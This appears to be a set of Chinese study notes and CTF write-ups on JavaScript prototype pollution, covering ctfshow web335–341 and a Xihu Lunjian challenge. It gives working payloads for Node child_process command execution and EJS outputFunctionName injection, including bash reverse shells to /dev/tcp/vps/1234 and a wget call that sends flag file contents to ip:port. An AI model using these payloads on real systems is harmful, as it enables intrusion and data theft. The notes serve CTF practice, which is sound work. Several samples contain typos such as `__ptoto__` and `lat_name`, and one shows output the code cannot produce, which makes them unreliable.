原型链污染

学习链接:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html?page=1

node.js

js创建对象的形式

1.普通创建
1
2
var name={name:'sauy','age':'19'}
var person={}
2.构造函数方法创建
1
2
3
4
5
6
7
8
9
10
function person(){
this.name='sauy';
this.test=function (){
return 23333;
}
}
person.prototype.a=3;
web=new person();
console.log(web.test());
console.log(web.a)
3.通过object创建
1
2
3
var a=new object();
a.c=3
console.log(a,c)

prototype和__proto__

prototype原型对象

__proto__ 原型链连接点

1
2
3
4
5
6
7
8
function Foo() {
this.bar=1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new foo()
foo.show()
1.用法(有点绕

对象.ptoto=构造器(构造函数).prototype

构造器.prototype其实也是一个对象,为构造函数的原型对象,同样有__proto__属性,一直通过原型链__proto__最终可找到null。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

1
foo.__proto__ == Foo.prototype

理解:每个类对象实例化的时候都会拥有prototype中的属性和方法 一个对象的__proto__的属性,指向这个对象所在类的prototype的属性

1
2
3
var A=function(){};
var a=new A();
链子顺序如下图:

img

Ex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father() //让son的父类为father 子类主动去选择了父类

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)//最后son继承的father的last_name的属性


->输出:Name:Melania Trump

调用son.last_name的时候 实际js内部的操作:

son中找不到last_name,就在son.__ptoto__中寻找last_name,这里找到了last_name于是就输出

如果没有找不到,则在son.__proto__.__proto__中继续寻找,以此类推,直到null结束。

上面描述的js的查找机制就称为:prototype继承链

原型链污染

1.上述描述实践

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2

解释:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了

2.切入口

实现原型链污染找到控制数组(对象)的键名的操作就可以:

对象和属性的表达方式很多,如下图:

img

对象merge(合并) 对象clone(克隆)

merge:下述代码展示了merge的具体功能

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

理解:

1
2
3
4
5
6
const obj1 = { a: 1, b: { x: 10 } };
const obj2 = { b: { y: 20 }, c: 3 };

merge(obj1, obj2);
console.log(obj1);
//最后会输出 {a: 1,b:{ x: 10, y: 20 },c: 3} a和c都只存在各自的类里,b两个类都有,所以合并在一起。
1
2
3
4
5
6
7
let o1 = {}
let o2 = {a:1,"__proto__":{b:2}}
merge(o1,o2)
console.log(o1.a,o1.b)

o3 = {}
console.log(o3.b)

上述代码成功合并

3.攻击方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
son.__ptoto__['lat_name'] = 'hello';
let secondson = new Son();
console.log(`son Name:${son.last_name}`);
console.log(`secondson Name:${secondson.last_name}`);

->son Name: hello
->second Name: hello
1
2
3
4
5
6
7
let foo = {bar:1}

foo.__proto__.bar = 'require(\'child_process\').execSync(\'calc\');'

let zoo = {}

eval(zoo.bar)
1
2
3
4
{"hero.name": "锐雯","__proto__.block": {"type": "Text","line":"process.mainModule.require('child_process').execSync('wget ip:port/`cat /*f*`')"}}


{"hero.name": "锐雯","__proto__": {"hero.name": "return e => { for (var a in {}){ delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}

例题:node.js代码审计

[西湖论剑 2022]Node Magical Login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}

function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}



module.exports = {
LoginController,
CheckInternalController,
Flag1Controller,
CheckController
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const express = require("express")
const fs = require("fs")
const cookieParser = require("cookie-parser");
const controller = require("./controller")

const app = express();
const PORT = Number(process.env.PORT) || 80
const HOST = '0.0.0.0'


app.use(express.urlencoded({extended:false}))
app.use(cookieParser())
app.use(express.json())

app.use(express.static('static'))

app.post("/login",(req,res) => {
controller.LoginController(req,res)
})


app.get("/",(res) => {
res.sendFile(__dirname,"static/index.html")
})


app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

app.listen(PORT,HOST,() => {
console.log(`Server is listening on Host ${HOST} Port ${PORT}.`)
})

web335

使用js里的eval执行命令

1.require('child_process').execSync('cat f*') > ?eval=require("child_process")['exe'%2B'cSync']('ls')

//绕过对exec的限制

2.require('child_process').spawnSync('ls',['.']).stdout.toString()

require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()

3.global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()

1
2
3
4
5
6
7
8
9
10
11
require 是 Node.js 中用来引入模块的函数,在这里引用了Node.js的child_process模块

child_process 模块是 Node.js 标准库中的一个模块,它提供了创建子进程的功能,可以通过它执行系统命令、shell 脚本等。其中包含有spawnSync()方法,spawnSync函数可以用来执行系统命令

spawnSync(‘ls’,[‘.’]) 前面代表命令,后面是一个参数,这里的 . 代表着当前目录, … 代表上一级目录 …/… 代表上上级目录

这中间用于连接的两个点是用来访问对象属性的

'stdout’是一个缓冲区,它包含了子进程的标准输出,也就是说输出的内容在这里

toString()转换为字符串

web36

过滤了load和exec

使用上一次那个命令就好

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

1.传入a[]=1&b[]=2

1
2
a={'x':'1'}
b={'x':'2'}

web338

基础原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;
1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

payload:

1
2
{"username":"11","password":"11","__proto__":{"ctfshow":"36dboy"}}
//就是通过这个来改变成员属性 secret的父类都有ctfshow这个对象 于是他也有

web339

Ejs原型链污染

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

<% code %>用来执行javascript代码

其实和ssti差不多 不过ssti是\{{}}执行python代码

预期解 变量覆盖

在/login下post

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"')"}}

然后再访问/api 多尝试几次 监听到然后rce找flag

image-20250402133953206

原理:

其实还是就是原型链污染 object可以被子类继承

仿照题目代码的小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)(query)}
//会输出{ query: 2233 }
/*首先看看 query 值是如何被改变的,其实就是通过 web338 的原型链污染,即 JS 中所有的对象的原型都可以继承到 Object,然后终点是 null 对象*/
非预期解 ejs模板漏洞

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}

直接在·login目录·传·这个·payload就·ok

监听1234端口就好

image-20250402145338372

web340

这个题就是·要进行两次污染关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){ //污染两次·才可以·正确·
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

1
payload:{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"')"}}}

也是先在login路由 然后访问api路由

image-20250402180958424

web341

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}}

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/1234 0>&1\"');var __tmp2"}}}